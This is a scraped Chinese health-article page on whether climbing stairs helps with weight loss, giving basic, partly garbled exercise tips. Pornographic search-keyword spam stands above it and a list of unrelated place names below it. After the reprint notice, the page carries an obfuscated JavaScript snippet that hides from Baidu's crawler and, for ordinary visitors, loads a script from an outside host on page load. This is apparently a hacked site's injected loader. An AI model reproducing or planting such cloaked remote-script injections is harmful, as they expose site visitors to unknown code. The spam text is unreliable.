亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

爬樓梯到底有利于減肥么

2017-04-17 07:46:31  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:生活條件的改善,很多人覺得有車就不要走路,有電梯就不要爬樓梯,這對(duì)日益減少鍛煉的人們來說更為不利,導(dǎo)致肥胖的人越來越多,其實(shí)這樣是

生活條件的改善,很多人覺得有車就不要走路,有電梯就不要爬樓梯,這對(duì)日益減少鍛煉的人們來說更為不利,導(dǎo)致肥胖的人越來越多,其實(shí)這樣是不對(duì)的,減肥運(yùn)動(dòng)不一定非要在特定的時(shí)間特定的場合,其實(shí)像爬樓梯這種減肥運(yùn)動(dòng),隨時(shí)隨地都可以進(jìn)行。研究表明,適當(dāng)進(jìn)行爬樓梯運(yùn)動(dòng)可以減少心肺疾病還能控制體重,長期堅(jiān)持下去能起到減肥的效果,因此爬樓梯不僅有利健康還有利減肥。

第一、爬完樓梯以后可以在家進(jìn)行跳操的運(yùn)動(dòng),如果剛剛開始減肥,堅(jiān)持不了這么大的強(qiáng)度,可以只是稍微的跟著比較有節(jié)奏的歌曲,全身跟著搖擺,只要身體能夠接受的運(yùn)動(dòng)量即可,以免影響后面減肥的決心,因?yàn)闇p肥是一個(gè)持久以恒的“戰(zhàn)爭”。

第二、這樣的運(yùn)動(dòng)堅(jiān)持了兩周以后,可以慢慢的加大運(yùn)動(dòng)量,由原來的100個(gè)來回增加到120、130個(gè),循序漸進(jìn),完成的時(shí)間在四十分鐘左右。所以,減肥的姐妹們千萬別操之過急,減肥真的是需要一定的耐心和毅力的。

從上述介紹,我們了解到爬樓梯能有效達(dá)到減肥的理想要求,尤其是對(duì)于下半身肥胖的人來說效果奇好,減肥鍛煉完了之后,要對(duì)腿部肌肉進(jìn)行舒展,避免出現(xiàn)肌肉。下樓梯要注意,身體處于活動(dòng)狀態(tài),可能有些不穩(wěn),因此不要下的太快,一步一步的下。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
南雄市| 仙游县| 莱西市| 梁河县| 永康市| 即墨市| 沧源| 潜江市| 扎赉特旗| 新宁县| 武汉市| 南开区| 北海市| 苍梧县| 广元市| 黄大仙区| 于田县| 岳西县| 永顺县| 公主岭市| 贡山| 东光县| 定襄县| 邓州市| 浦北县| 绿春县| 张北县| 来安县| 牡丹江市| 太康县| 海晏县| 乡城县| 岳阳市| 米泉市| 鄢陵县| 库车县| 阿鲁科尔沁旗| 永定县| 广宁县| 沾益县| 秦安县|